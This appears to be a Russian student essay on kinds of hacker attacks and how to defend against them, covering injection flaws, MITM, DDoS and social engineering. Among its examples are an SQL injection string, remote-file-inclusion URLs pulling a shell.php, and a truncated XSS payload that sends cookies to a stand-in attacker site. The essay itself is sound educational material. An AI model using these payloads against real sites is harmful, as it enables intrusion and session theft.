Содержание:

Введение

Потери от атак хакеров во всем мире в ближайшие пару лет могут увеличиться в 4 раза - до двух триллионов долларов. Такой прогноз озвучил заместитель председателя правления Сбербанка Станислав Кузнецов, оговорившись, что такое развитие событий предполагает пессимистичный сценарий.

Сейчас в разных странах мира работают не менее 40 миллионов киберпреступников. Примерный ущерб от их действий оценивается в 500 миллиардов долларов. При этом количество вирусных атак в мире растёт по 3 процента в месяц, атак на веб-сервисы - по 2,5 процента, а число краж денег с различных устройств или электронных кошельков - по 3,5 процента. В России, по данным Сбербанка, потери от киберпреступников составили в 2015 году 550-600 миллиардов рублей. Эта цифра превышает примерно вдвое ущерб от всех других экономических преступлений. В этих условиях важно знать основные виды угроз для всех пользователей электронных сетей и методы защиты от них.

Каждый человек – от пользователя домашнего компьютера до крупной компании и правительства – должен иметь возможность защитить то, что дорого для него. Неважно, идет ли речь о частной жизни, семье, финансах, бизнесе или критической инфраструктуре. Специалисты преуспели в этом благодаря опыту и экспертным знаниям, благодаря сотрудничеству с международными организациями и правоохранительными органами, а также благодаря технологиям, решениям и сервисам, которые помогают оставаться в безопасности, несмотря на все киберугрозы. Наша задача будет состоять в том, что бы понять, что такое киберпреступность и кратко рассмотреть технологии совершаемых преступлений и методы защиты против них.

Глава 1. Кто такие хакеры

Понятие "хакер" зародилось, когда только начинала распространяться первая сеть ARPANET. Тогда это понятие обозначало человека, хорошо разбирающегося в компьютерах. Некоторые даже подразумевали под хакером человека,

"помешанного" на компьютерах. Понятие ассоциировали со свободным компьютерщиком, человеком, стремящимся к свободе во всем, что касалось его любимой "игрушки" — компьютера. Хакеры помогли развитию Интернета. Благодаря им появились UNIX-подобные системы с открытым исходным кодом, на которых сейчас работает большое количество серверов. В те далекие времена еще не было вирусов, и никто даже не думал о взломе сетей, сайтов или отдельных компьютеров. Но бурное развитие Интернета породило новую многоликую угрозу для государств и их граждан: киберпреступность. Пользователи Интернета, бизнес, государство, творческое сообщество – все страдают от ее повседневных проявлений: спама, вирусов, нарушения авторских прав, кражи личных и банковских реквизитов, экономической преступности.

Борьбой с преступлениями в сфере компьютерной информации в России занимается Управление «К» БСТМ МВД России. Также оно активно взаимодействует с правоохранительными органами иностранных государств, как на двусторонней, так и многосторонней основе (ООН, «восьмерка», СНГ, СЕ, ЕС, ШОС, АТР и др.).

Мир технологий не только разделяет людей, но и объединяет. Яркий тому пример - ежегодная конференция хакеров DEF CON, она объединяет в себе обе стороны специалистов. Например, руководитель Агентства национальной безопасности США Кит Александер выступил на конференции в 2012 году. Он подчеркнул общность позиций у американского правительства и хакеров, добавив, что необходимо сохранять секретность личной информации и что они могут ему в этом помочь, разработав для этого новые инструменты.

Официальные лица и представители служб безопасности США посещают Defcon не в первый раз, однако Кит Александер станет наиболее высокопоставленным чиновником, когда-либо принимавшим участие в конференции.

Defcon проводится ежегодно с 1992 года и является открытым для публики мероприятием. В рамках конференции проводятся лекции, хакерские соревнования и круглые столы на тему компьютерной безопасности. Организатор конференции Джефф Мосс с 2009 года является членом консультационного совета министерства внутренней безопасности США.

Таким образом, если бы увеличилось число таких мероприятий для хакеров, то возможно бы сократилось количество атак, т.к. хакерам не пришлось бы скрываться и они были бы заняты полезной официальной деятельностью на благо цивилизации.

Глава 2. Виды хакерских атак

2.1 Mailbombing

Почтовые бомбы (Mail bombs) — хакерский саботаж, один из простейших видов сетевых атак. Злоумышленником посылается на компьютер пользователя или почтовый сервер компании одно огромное сообщение, или множество (десятки тысяч) почтовых сообщений, что приводит к выводу системы из строя.

Почтовые бомбы способны быстро переполнить отдельный почтовый ящик, что будет препятствовать получению на него новых писем. Также интенсивная почтовая бомбардировка или просто отправка больших писем может вывести из строя почтовый сервер. Иногда вложения писем-бомб многократно архивируют, чтобы сервер тратил время на их распаковку при обработке входящей почты.

Распаковка пустого PKT файла, размером около гигабайта, в архиве он занимает приблизительно 5 килобайт. Как итог – поломка ОС или заполнение информацией жесткого диска. Зависание системы достигается правкой заголовка в ZIP архиве (делается ссылка на один и тот же файл).

Есть очень опасный тип mail-bombing’a - запуск .exe файла на станции. Но установленные аппаратные средства защиты на сервер вылавливают вирусы из файлов, присоединённых к почтовым сообщениям, до их доставки к месту назначения и ограничивать трафик для определенных пользователей или конечных доменов в Internet по специальному списку. Например, утилита фильтрации Procmail доступна в большинстве операционных систем Linux. Она выборочно блокирует или фильтрует определенные типы сообщений.

В мерах безопасности, также рекомендуется предупреждать пользователей о том, чтобы в письме указывали какую-нибудь информацию, например определенную фразу в теме письма.

2.2 Сниффинг — это перехват сетевых пакетов

Снифферами (от англ. Sniff - вынюхивать) называют утилиты для перехвата сетевого трафика, адресованного другому узлу (или, в более общем случае – всего доступного трафика, проходящего или не проходящего через данный хост). Большинство снифферов представляют собой вполне легальные средства мониторинга.

Объектом атаки может выступать как локальная так и глобальная сеть, спутниковый и мобильный интернет, беспроводные средства связи.

Дело в том, что злоумышленник должен получить доступ к одному из маршрутизаторов, через который проходят пакеты компьютера-жертвы. Только в этом случае он сможет перехватить их и прочитать содержащиеся в них данные. Сниффинг в большинстве случаев используется для кражи логина и пароля пользователей различных серверов. Так, например, при попытке аутентификации в каком-либо сервисе пользователь вводит и отправляет свои авторизационные данные. Эта информация находится внутри сетевых пакетов и ничем не защищена. Так что хакеру достаточно загрузить эти пакеты к себе на компьютер, чтобы получить действующие логин и пароль законного пользователя данного сервиса.

При работе в Интернете желательно придерживаться режима анонимности.

На сегодняшний день разработано три эффективных способа борьбы со сниффингом. К ним относятся использование специальных программ-антиснифферов (они измеряют время реагирования хостов и определяют, не приходится ли им обрабатывать "лишний" трафик) и особых средств аутентификации наподобие одноразовых ключей (способ аутентификации, для которой используются одноразовые, то есть бесполезные для перехвата, пароли, генерируемые некоторыми защищенными токенами). Интернет трафик защищается криптографией. Речь идет о применении для передачи конфиденциальных данных специальных протоколов с шифрованием информации. Сегодня существует достаточно широкий выбор таких стандартов, которыми можно заменить обычные протоколы: Secure Shell* (SSH), Secure Socket Layer* (SSL), Secure FTP (SFTP) и т. д. Их использование надежно защищает информацию пользователя и его пароли и гарантирует защиту от снифферов.

Кстати, в последнее время наблюдается устойчивая тендеция перехода на протоколы аутентификации, устойчивые к перехвату трафика.

2.3 IP-спуфинг

Вид атаки на сеть при которой хакер, находящийся внутри корпоративной сети или вне ее, выдает себя за добросовестного пользователя, подделывая санкционированные внешние или внутренние IP-адреса системы. Для обеспечения двухсторонней связи хакер изменяет все таблицы маршрутизации, чтобы направить трафик на ложный IP-адрес. Атаки IP-спуфинга часто являются исходными для производства атак другого рода, например DOS, для сокрытия

личности хакера.

На сетевом уровне этот вид атаки можно предотвратить с помощью фильтра пакетов, который настроен таким образом, чтобы не пропускать пакеты, поступившие через неопределенные сетевые интерфейсы. Еще одним способом защиты от IP-спуфинга является Проверка Адреса Отправителя (Source Address Verification), которая выполняется программами маршрутизации.

2.4 Man-in-the-Middle

Man in the middle, «человек посередине» – это способ осуществления фрода - вид мошенничества в области информационных технологий, в частности, несанкционированные действия и неправомочное пользование ресурсами и услугами в сетях связи, при которых злоумышленник внедряется в канал связи между отправителем и получателем информации и может видоизменять эту информацию «на лету» непосредственно в процессе ее передачи.

Примером успешной реализации такой атаки в целях распространения вредоносного ПО можно назвать инцидент с использованием троянца OnionDuke, заражавшего выходные узлы сети TOR, в результате чего весь трафик, транслировавшийся через эти узлы, оказывался инфицированным. При попытке пользователя скачать какую-либо программу из сети TOR через скомпрометированный узел она автоматически оказывалась зараженной вирусом.

В последнее время встречается и вариант MITM-атаки «Человек-в-браузере». В этом случае злоумышленник использует один из нескольких возможных методов для того, чтобы занести вредоносный код, работающий внутри браузера, на компьютер жертвы. Это ПО потом незаметно записывает все данные, передаваемые между браузером и различными сайтами, после чего отсылает полученные сведения злоумышленнику. Такой вариант становится все более распространенным, так как он может применяться к большой группе пользователей-жертв, а также не требует, чтобы злоумышленник находился поблизости.

Есть несколько эффективных средств защиты от MITM-атак, но почти все они используются либо в самом маршрутизаторе, либо на серверах, к которым обращается потенциальная жертва. При этом самой жертве невдомек, на настоящем она сервере либо это подделка, подставленная злоумышленником. Одним из способов защиты от такой атаки является использование стойкого шифрования между клиентом и сервером. В таком случае сервер может идентифицировать себя посредством предоставления цифрового сертификата,

после чего между пользователем и сервером устанавливается шифрованный канал для обмена конфиденциальными данными. Но в этом случае возникает зависимость от самого сервера и выбора им метода шифрования.

Другим вариантом защиты от некоторых видов MITM-атак является полный отказ от использования открытых Wi-Fi-сетей для работы с личными данными. Хорошую защиту дают некоторые плагины для браузеров. Например, HTTPS Everywhere или ForceTLS, которые самостоятельно устанавливают защищенное соединение всякий раз, когда эта опция доступна на стороне сервера. Но, как бы то ни было, все способы защиты имеют определенные ограничения. Кстати, не стоит забывать и об уже проведенных с целью демонстрации возможностей атаках, таких как SSLStrip или SSLSniff, которые легко сведут на нет безопасность SSL-соединения.

2.5 Переполнение буфера

Ошибка переполнения буфера стала известна еще где-то в ~1980 годах. Вообще, данная ошибка считается одной из самых распространенных уязвимостей на данный момент. Количество эксплоитов, написанных на основе этой ошибки перевалило уже за несколько тысяч.

Переполнение буфера происходит, когда программа не выполняет проверку длины вводимых данных. Таким образом, любые неожиданные данные ввода попадают в непредназначенную дял них область стека исполнения процессора. Программист может так подобрать вводимые данные, чтобы в результате их исполнения был запущен его собственный код. Самое главное при использовании этого метода – создать так называемый код командного интерпретатора (shellcode) и разместить его в том месте, где буфер переполнится и «вылезет» в стек исполнения. Тогда код хакера окажется в определенной позиции стека, которая предоставит возможность возвращения программы (возврат функции) и, следовательно, выполнения вредоносного когда.

Проблему переполнения буфера сегодня можно попытаться решить, используя специализированные аппаратные или программные решения. Довольно таки хорошо с подобными проблемами справляются современные межсетевые экраны, в том числе и включенные в UTM-устройства WatchGuard Firebox. Пользователи этих устройств имеют дополнительный рубеж обороны, который заключается в следующем. Когда Вы настраиваете свой межсетевой экран на использование служб прокси, это ПО отслеживает использование чрезвычайно длинных входных данных для защищаемых сервисов: электронной почты, HTTP, FTP и DNS. Не являясь

идеальной защитой, прокси, тем не менее, могут остановить многие атаки, направленные на переполнение буфера. Если вы используете пакетные фильтры, даже с динамическим анализом, вы лишаетесь этого преимущества.

Если ваш межсетевой экран поддерживает шлюзы приложений или прокси, используйте их. Когда служба информирования LiveSecurity предупреждает вас о критичных уязвимостях, связанных с переполнением буфера, используйте заплатки для приложений. Используйте эти меры, Ваши новые знания о переполнениях буфера и все будет в порядке.

2.6 Инъекция кода

Инъекции это класс атак, внедряющий злонамеренный код или параметры в веб приложение для запуска их вне контекста безопасности.

2.6.1 SQL-инъекции

Внедрение SQL-кода (англ. SQL injection) - один из самых распространенных способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода, рассмотрим его подробнее. Внедрение SQL в зависимости от типа используемой СУБД и условий внедрения может дать возможность атакующему выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере. Атака тина внедрения SQL может быть возможна из-за некорректной обработки входных данных, используемых в SQL-запросах. Разработчик прикладных программ, работающих с базами данных, должен знать о таких уязвимостях и принимать меры противодействия внедрению SQL.

Благодаря отсутствию проверки пользовательского ввода и соединению с базой данных под учетной записью суперпользователя (или любого другого пользователя, наделенного соответствующими привилегиями), взломщик может создать еще одного пользователя БД с правами суперпользователя.

Например, если в параметры скрипта

```
<?

$id = $_REQUEST['id'];
```

*$res = mysql_query("SELECT * FROM news WHERE id_news = $id");*

?>

злоумышленником передается конструкция, содержащая точку с запятой, например

12;INSERT INTO admin (username, password) VALUES ('HaCkEr', 'foo');

то в одном запросе будут выполнены 2 команды

*SELECT * FROM news WHERE id_news = 12;*

INSERT INTO admin (username, password) VALUES ('HaCkEr', 'foo');

и в таблицу *admin* будет несанкционированно добавлена запись *HaCkEr*.

Хотя по-прежнему очевидно, что взломщик должен обладать по крайней мере некоторыми знаниями о структуре базы данных чтобы провести успешную атаку, получить эту информацию зачастую очень просто. Например, если база данных является частью open-source или другого публично доступного программного пакета с инсталляцией по умолчанию, эта информация является полностью открытой и доступной. К другим методам относится использование распространенных (легко угадываемых) названий таблиц и столбцов. Например, форма логина, которая использует таблицу 'users' с названиями столбцов 'id', 'username' и 'password'.

Большинство успешных атак основывается на коде, написанном без учета соответствующих требований безопасности. Нельзя доверять вводимым данным, особенно если они поступают со стороны клиента, даже если это записи в форме, скрытые поля или cookie.

Для большей безопасности нужно пользоваться доступом не суперпользователя, а специально созданных пользователей с максимально ограниченными правами. Подготовленные выражения с привязанными переменными помогут защитится от атаки. Эту возможность предоставляют расширения PDO, MySQLi и другие библиотеки. Данные защитит проверка данных на соответствие ожидаемого типа. В PHP есть множество функций для проверки данных: начиная от простейших функций для работы с переменными и функций определения типа символов (таких как is_numeric() и ctype_digit() соответственно) и заканчивая Perl-совместимыми регулярными выражениями. В случае, если приложение ожидает цифровой ввод,

применяется функция ctype_digit() для проверки введенных данных, или принудительно указывается их тип при помощи settype(), или просто используется числовое представление при помощи функции sprintf(). Если на уровне базы данных не поддерживаются привязанные переменные, то нужно экранировать любые нечисловые данные, используемый в запросах к БД при помощи специальных экранирующих функций, специфичных для используемой вами базы данных (например, mysql_real_escape_string(), sqlite_escape_string() и т.д.). Общие функции такие как addslashes() полезны только в определенных случаях, поэтому лучше избегать их использование.

2.6.2 PHP-инъекция

PHP-инъекция - один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне

Проблема всегда актуальна, потому что связана с целью внедрения своего кода (вирусы, ссылки, баннеры), хищением информации, шпионажа, а так же причиной взлома может быть недобросовестная конкуренция и спортивный интерес.

Потенциально опасные функции: include() include_once() require() require_once() eval() create_function() preg_replace() passthru(), system(), exec(),...

Инъекции могут быть глобальными и локальными, и передаются с помощью GET, POST и Header-запросов, а также Cookie и files

Глобальная инъекция задействует сторонний сервер, а локальная - инъекция кода, находящегося на текущем сервере:

<?php

if($_GET['id'])

include($_GET['id']);

?>

Пример использования:

http://[site]/main.php?id=1.php

http://[site]/main.php?id=http://[anothersite]/shell.php

http://[site]/main.php?id=http://[anothersite]/shell.php&command=shutdown%20-s

http://[site]/main.php?id=[path_to_file]

Существует несколько способов защиты от такой атаки:

Проверять, не содержит ли переменная посторонние символы:

```
<?
$module = $_GET['module'];
if (strpbrk($module, '.?/:')) die('Blocked');
include $module. '.php';
?>
```

Проверять, что $module присвоено одно из допустимых значений:

```
<?
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module,$arr)) $module = $arr[0];
include $module . '.php';
?>
```

Использовать оператор switch:

```
<?
$module = $_GET['module'];
switch($module){
case 'main': include 'main.php'; break;
case 'about': include 'about.php'; break;
case 'links': include 'links.php'; break;
```

```
case 'forum': include 'forum.php'; break;

default: include 'main.php';

}

?>
```

Для автоматического обнаружения уязвимости можно использовать такие программы, как Acunetix, RATS, RPVS

PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путём изменения значения опции allow_url_fopen на Off в файле конфигурации сервера php.ini.

2.6.3 Межсайтовый скриптинг

Межсайтовый скриптинг (XSS, Cross-Site Scripting) основан на уязвимости, связанной с отсутствием фильтрации вводимых пользователей данных. Это позволяет запускать скрипты JavaScript, которые будутт выполняться каждый раз при загрузке страницы или при определенном событии.

Типичный пример XSS: злоумышленник внедряет скрипт в URL существующего интернет-магазина, который, в свою очередь, перенаправляет пользователя на поддельную, но идентичную страницу. На ней выполняется скрипт, который перехватывает значение cookie пользователя, просматривающего сайт интернет-магазина. Затем cookie отсылается злоумышленнику, который использует его для перехвата сессии пользователя. Хотя сайт магазина и не подвергается хакерской атаке, злоумышленник использует уязвимое место скрипта для того, чтобы обмануть пользователя и получить контроль над его сессией. Можно сделать поддельный URL менее заметным, закодировав XSS-часть URL в HEX, или с помощью другого метода кодировки. Это не вызовет подозрения у пользователя, который видит знакомый URL и, как правило, не обращает внимания на последующую закодированную часть.

Пример. Вставляя в формы ввода следующий код, можно найти уязвимость xss. Если вышло сообщение значит скрипт обработался и выполнился.

```
<script>alert()</script>
```

Затем если сделать ссылку со скриптом, который крадет документы cookie и зашифровав её, отправить её администратору или пользователю сайта, то можно получить соответствующий доступ на сайт:

http://сайтнакоторомxss.ru/free?p='><script>img=newImage();img.src="http://сайтхакера.o

Закодированная ссылка:

http://сайтнакоторомxss.ru/free?p=%27%3E%3Cscript%3Eimg%3DnewImage%28%29%3Bimg

Так же можно вставить простую форму для регистрации и зарегистрировать суперпользователя.

Анализ различных XSS-атак свидетельствует о том, что, несмотря на постоянное развитие интернет-технологий, безопасность приложений остается на прежнем уровне. Проведя тщательный поиск, можно найти много историй о том, как сайты крупных корпораций были взломаны с использованием XSS-атак; в отчетах последствия таких атак всегда описываются как крайне серьезные.

XSS-атаки обычно используются для кража аккаунта, получения доступа к защищенным или конфиденциальным данным, слежения за посещением сайтов пользователем, вреда и публичной клеветы в адрес отдельного лица или корпорации.

Как же уберечься от XSS-атак? В PHP есть две функции, которые могут помочь делу: strip_tags() — удаляет из строки все HTML-теги, кроме разрешенных и HtmlSpecialChars() — заменяет все специальные символы на их HTML- эквиваленты.

Для начала удаляются все HTML-теги, а затем пропустить полученные извне данные через функцию HtmlSpecialChars() — для надежности:

$name = strip_tags($name);

$name = HtmlSpecialChars($name);

2.6.4 XPath инъекция

XPath инъекция - атака направленная на приложения, создающие XPath (XML Path Language) запросы от пользовательских данных.

Язык XPath разработан для возможности обращения к разным частям документа на языке XML. Синтаксис XPath схож с языком запросов SQL для баз данных. Различия -

это использование XML - дерева в XPath вместо табличных данных SQL и универсальность языка XPath против различных реализаций SQL.Еще одним различием является отсутствие разграничений в XPath и разграничения прав доступа к БД в SQL.

Аналогично SQL injection, XPath уязвим для инъекций, при недостаточной фильтрации и валидации данных входящих запросов.

Пример эксплуатации XPath инъекции:

Часть кода XML базы данных: base.xml

<orders>

<customer id="1">

<name>Петр Иванов</name>

<email>petr.ivanov@email.ru</email>

<creditcard>12341234123451234</creditcard>

<order>

<item>

<quantity>1</quantity>

<price>20.00</price>

<name>something</name>

</item>

<item>

<quantity>2</quantity>

<price>10.00</price>

<name>anything</name>

</item>

</order>

</customer>

...

</orders>

XPath запрос для поиска товара по цене:

string query = "/orders/customer[@id='" + customerId + "']/order/item[price >= '" + priceFilter + "']";

XPath инъекция:

'] | /* | /foo[bar='

Измененный в результате эксплуатации XPath инъекции запрос:

string query = "/orders/customer[@id=''] | /* | /foo[bar='']/order/item[price >= '" + priceFilter + "']";

Результат:

Получение файла базы данных base.xml

XPath injection работоспособна из-за отсутствия фильтрации данных параметров priceFilter и customerId.

Возможность эксплуатации XPath injection - это очень серьезная угроза для безопасности сайта.

Защититься от XPath injection также просто как и от обычных SQL-инъекций. Достаточно проверять все входящие данные от пользователей на предмет их соответствия выражению. Например, если это номер кредитки, то достаточно будет только цифр. Используя регулярные выражения и параметризованные запросы, можно полностью избежать подобных уязвимостей.

2.7 Автозалив

Атака изнутри компьютера «жертвы» - схема, которая представляет собой обобщённое решение для обхода всех дополнительных средств защиты транзакций, а также для атаки на неизвестные и малораспространённые системы

банкинга. Атака сводится к установлению терминального соединения с компьютером жертвы и проведению ложных транзакций атакующим вручную, без отображения его действий на экране пользователя.

В качестве платформы для реализации этой схемы часто используется троян Zeus (Zbot), для которого за дополнительную плату доступен модуль удалённого доступа по протоколу VNC. При этом, если адрес целевого компьютера недоступен из интернета, троянская программа может обеспечить обратный канал связи для доступа атакующего.

«Автозалив» подразумевает собой автоматизацию этой схемы. Автоматизация осуществляется преимущественно для систем на основе технологии «тонкий клиент», так как в этом случае задача сводится к модификации данных HTML-страниц и HTTP-запросов и, таким образом, может быть компактно описана в файле конфигурации и передана троянской программе.

При реализации данной схемы троянская программа формирует новую транзакцию или модифицирует легитимную с целью перевода средств со счёта заражённой жертвы на счёт атакующего. Трафик пользователя модифицируется «на лету» незаметно для него.

Пассивный автозалив осуществляется путём автоматизированной подмены заданных параметров — таких как значения полей размера платежа и реквизитов получателя — в коде веб-страницы в момент проведения пользователем легитимной транзакции. При активном автозаливе троян осуществляет все необходимые манипуляции — от заполнения данных форм и до имитации нажатия кнопок — самостоятельно.

Для борьбы с этой уязвимостью многие передовые провайдеры предлагают схожие решения, они называются по разному (подпись данных, CWYS (Confirm What You See), но имеют схожую реализацию. Основной смысл заключается в том, что одноразовый пароль генерируется не только на основании секретного ключа, времени или счетчика, а с использованием всех ключевых данных транзакции, таких как сумма, валюта, получатель. В случае даже, если злоумышленник перехватит пароль, использовать для своих зловредных нужд он его не сможет.

2.8 Социальная инженерия

Социальная инженерия — это очень мощное оружие, которое может срабатывать даже там, где программы на сервере написаны идеально, потому что она

использует самое слабое звено — человека. Наверное, каждая уязвимость связана с человеческим фактором, ведь серверные программы, в которых мы будем искать уязвимости, написаны человеком и именно он делает ошибку, которая приводит к взлому. В данном случае, социальная инженерия ищет слабое место (можно сказать, уязвимость, если проводить аналогию с программами) в человеке.

Основной целью социальной инженерии является получение доступа к конфиденциальной информации, паролям, банковским данным и другим защищенным системам. Хотя термин социальной инженерии появился не так давно, сам метод получения информации таким способом используется довольно долго. Сотрудники ЦРУ и КГБ, которые хотят заполучить некоторую государственную тайну, политики и кандидаты в депутаты, да и мы сами, при желании получить что-либо, часто даже не понимая этого, используем методы социальной инженерии.

Основная концепция социального программирования состоит в том, что многие поступки людей и их реакции на то или иное внешнее воздействие во многих случаях предсказуемы.

Для того, чтобы обезопасить себя от воздействия социальной инженерии, необходимо понять, как она работает. Рассмотрим основные типы социальной инженерии и методы защиты от них.

Претекстинг - это набор действий, отработанных по определенному, заранее составленному сценарию, в результате которого жертва может выдать какую-либо информацию или совершить определенное действие. Чаще всего данный вид атаки предполагает использование голосовых средств, таких как Skype, телефон и т.п.

Для использования этой техники злоумышленнику необходимо изначально иметь некоторые данные о жертве (имя сотрудника; должность; название проектов, с которыми он работает; дату рождения). Злоумышленник изначально использует реальные запросы с именем сотрудников компании и, после того как войдет в доверие, получает необходимую ему информацию.

Фишинг – техника интернет-мошенничества, направленная на получение конфиденциальной информации пользователей - авторизационных данных различных систем. Основным видом фишинговых атак является поддельное письмо, отправленное жертве по электронной почте, которое выглядит как официальное письмо от платежной системы или банка. В письме содержится форма для ввода персональных данных (пин-кодов, логина и пароля и т.п) или

ссылка на web-страницу, где располагается такая форма. Причины доверия жертвы подобным страницам могут быть разные: блокировка аккаунта, поломка в системе, утеря данных и прочее.

Троянский конь – это техника основывается на любопытстве, страхе или других эмоциях пользователей. Злоумышленник отправляет письмо жертве посредством электронной почты, во вложении которого находится «обновление» антивируса, ключ к денежному выигрышу или компромат на сотрудника. На самом же деле во вложении находится вредоносная программа, которая после того, как пользователь запустит ее на своем компьютере, будет использоваться для сбора или изменение информации злоумышленником.

Кви про кво (услуга за услугу) – данная техника предполагает обращение злоумышленника к пользователю по электронной почте или корпоративному телефону. Злоумышленник может представиться, например, сотрудником технической поддержки и информировать о возникновении технических проблем на рабочем месте. Далее он сообщает о необходимости их устранения. В процессе «решения» такой проблемы, злоумышленник подталкивает жертву на совершение действий, позволяющих атакующему выполнить определенные команды или установить необходимое программное обеспечение на компьютере жертвы.

Дорожное яблоко – этот метод представляет собой адаптацию троянского коня и состоит в использовании физических носителей (CD, флэш-накопителей). Злоумышленник обычно подбрасывает такой носитель в общедоступных местах на территории компании (парковки, столовые, рабочие места сотрудников, туалеты). Для того, чтобы у сотрудника возник интерес к данному носителю, злоумышленник может нанести на носитель логотип компании и какую-нибудь подпись. Например, «данные о продажах», «зарплата сотрудников», «отчет в налоговую» и другое.

Обратная социальная инженерия - данный вид атаки направлен на создание такой ситуации, при которой жертва вынуждена будет сама обратится к злоумышленнику за «помощью». Например, злоумышленник может выслать письмо с телефонами и контактами «службы поддержки» и через некоторое время создать обратимые неполадки в компьютере жертвы. Пользователь в таком случае позвонит или свяжется по электронной почте с злоумышленником сам, и в процессе «исправления» проблемы злоумышленник сможет получить необходимые ему данные.

Основным способом защиты от методов социальной инженерии является обучение сотрудников. Все работники компании должны быть предупреждены об опасности раскрытия персональной информации и конфиденциальной информации компании, а также о способах предотвращения утечки данных. Кроме того, у каждого сотрудника компании, в зависимости от подразделения и должности, должны быть инструкции о том, как и на какие темы можно общаться с собеседником, какую информацию можно предоставлять для службы технической поддержки, как и что должен сообщить сотрудник компании для получения той или иной информации от другого сотрудника.

2.9 DDoS

DDoS-атака – распределенная атака типа отказ в обслуживании, которая являет собой одну из самых распространенных и опасных сетевых атак. В результате атаки нарушается или полностью блокируется обслуживание законных пользователей, сетей, систем и иных ресурсов.

Большинство DDoS-атак используют уязвимости в основном протоколе Internet (TCP/IP), а именно, способ обработки системами запроса SYN.

Выделяют два основных типа атак, которые вызывают отказ в обслуживании.

В результате проведения атаки первого типа, останавливается работа всей системы или сети. Хакер отправляет системе данные или пакеты, которые она не ожидает, и это приводит к остановке системы или к ее перезагрузке.

Второй тип DDoS-атаки приводит к переполнению системы или локальной сети при помощи огромного количества информации, которую невозможно обработать.

DDoS-атака заключается в непрерывном обращении к сайту со многих компьютеров, которые расположены в разных частях мира. В большинстве случаев эти компьютеры заражены вирусами, которые управляются мошенниками централизовано и объедены в одну ботсеть. Компьютеры, которые входят в ботсеть, рассылают спам, участвуя, таким образом, в DDoS-атаках.

Система защиты от DDoS атак базируется на уже имеющихся в сети маршрутизаторах и добавляет в сеть свои два компонента:

• устройство для блокирования DDoS атаки. В английском языке это устройство называют mitigator. По-русски можно называть его блокиратор;

• устройство со встроенным искусственным интеллектом для обнаружения DDoS атаки и перенаправления атаки на блокиратор, можно назвать детектором.

Надо заметить, что в задачу блокиратора входит не только блокирование трафика, но и его замедление. После обнаружения DDoS атаки на какую-то сеть анализатор трафика вставляет в таблицы динамической маршрутизации (при помощи BGP или OSPF) запись, которая говорит, что маршрут в атакуемую сеть лежит через этот блокиратор.

В результате весь трафик атаки начинает проходить через блокиратор, что дает возможность заблокировать трафик атаки, а легитимный трафик передать в защищаемую сеть. Передача в защищаемую сеть осуществляется любым доступным способом, например при помощи инкапсуляции трафика внутри GRE.

После завершения атаки, таблица маршрутизации перенастраивается, чтобы трафик проходил через конечный маршрутизатор, связанный с этой сетью.

Уязвимостей существует гораздо больше, чем изложено в книгах и в научных статьях, они выходят за рамки этой работы. Научный прогресс двигается вперед и гении этого времени уже работают над новыми способами взлома компьютерных систем.

Заключение

В последнее время информационные технологии совершили огромный прорыв. Сети создали новые профессии и с ними стало удобнее и интереснее жить, легче работать. Не смотря на удобство технологий, если ты являешься их пользователем, стоит помнить о простых правилах безопасности, о которых инструктируют компании, а также серьезно вникать в техники защиты информации, если от тебя зависит материальные, личные и конфиденциальные данные других людей. Не пренебрежение простыми и сложными техниками защиты даст стабильную и бесперебойную работу оборудованию.

Изучение информации о технологиях и защите дает человеку неотъемлемый выбор на какой стороне ему быть и в каких целях использовать полученные знания. Хотя многие специалисты и называют себя хакерами, но они помогают в развитии безопасности информационных систем и технологий.

Список используемых источников

1. Батранков Д. специалист IBM Internet Security Systems, Защита от DDOS атак - как защититься правильно, 15 января, 2003 // sd-company.su URL: http://sd-company.su/article/help_computers/ddos_defence

2. Бирюков А. Информационная безопасность: защита и нападение. ДМК Пресс, 2012 . - 149 с.

3. Варлатая С.К., Шаханова М.В., Защита информационных процессов в компьютерных сетях. // Учебно-методический комплекс 2015. - 44 с.

4. Воройский Ф. Информатика - Энциклопедический словарь-справочник: введение в современные информационные и телекоммуникационные технологии в терминах и фактах - М.:ФИЗМАТЛИТ, 2006. - 79 с.

5. Газета lenta.ru Глава американской разведки выступит на конференции хакеров // Редакция «Лента.ру» 21 июля 2012, URL: https://lenta.ru/news/2012/07/21/defcon/

6. Гольдштейн Б., Елагин В., Сенченко Ю., Протоколы AAA: RADIUS и Diameter. Серия «Телекоммуникационные протоколы». Книга 9 – СПб.: БХВ&Петербург, 2014. – 346 с

7. Давлетханов М. Удаленные атаки. Часть 1. 15.03.2005 // .hostinfo Справочная информация и полезные советы. URL: http://hostinfo.ru/articles/533

8. «Доктор Веб» Вредоносные программы // «Доктор Веб» — российский производитель антивирусных средств защиты информации URL: http://vms.drweb.com/malware

9. Журнал «Хакер» Защита почты // Журнал «Хакер» АВГ 19, 2003 №56 URL: https://xakep.ru/2003/08/19/19532/

10. Журнал «Хакер» Переполнение буфера своими руками №2// Журнал «Хакер» АВГ 30, 2004 URL: https://xakep.ru/2004/08/30/23646/

11. Ищенко Е. Виртуальный криминал / Издательство Проспект, 2014 - 27 с.

12. Касперский Е. Генеральный директор «Лаборатории Касперского» // цитата с официального сайта kaspersky.ru, URL: http://www.kaspersky.ru/about

13. Касперски К. Компьютерные вирусы изнутри и снаружи / Издательство: Питер, 2006. - 325 с.

14. Кит Александер (Keuth Alekxander) - глава американского правительственного секретного Агентства национальной безопасности - попросил помощи у хакеров // comss.ru - Антивирусы и программы безопасности, 2012.08.03, URL:http://www.comss.info/page.php?al=Keuth_Alekxander

15. Колисниченко Д. PHP и MySQL. Разработка Web-приложений. — 4-е изд., перераб. и доп. — СПб.: БХВ-Петербург, 2013.— 493 с.

16. Компания EFSOL Социальная инженерия – как не стать жертвой // EFSOL Системная интеграция. Консалтинг URL: http://efsol.ru/articles/social-engineering.html

17. Кузнецов М.В., Симдянов И.В. Головоломки на PHP для хакера, Пособие, Издательство БХВ-Петербург, 2006. - 302 с.

18. Кузнецов М. Социальная инженерия и социальные хакеры / М.В. Кузнецов, И.В. Симдянов. - СПб.:БХВ-Петербург, 2007. - 22 с.

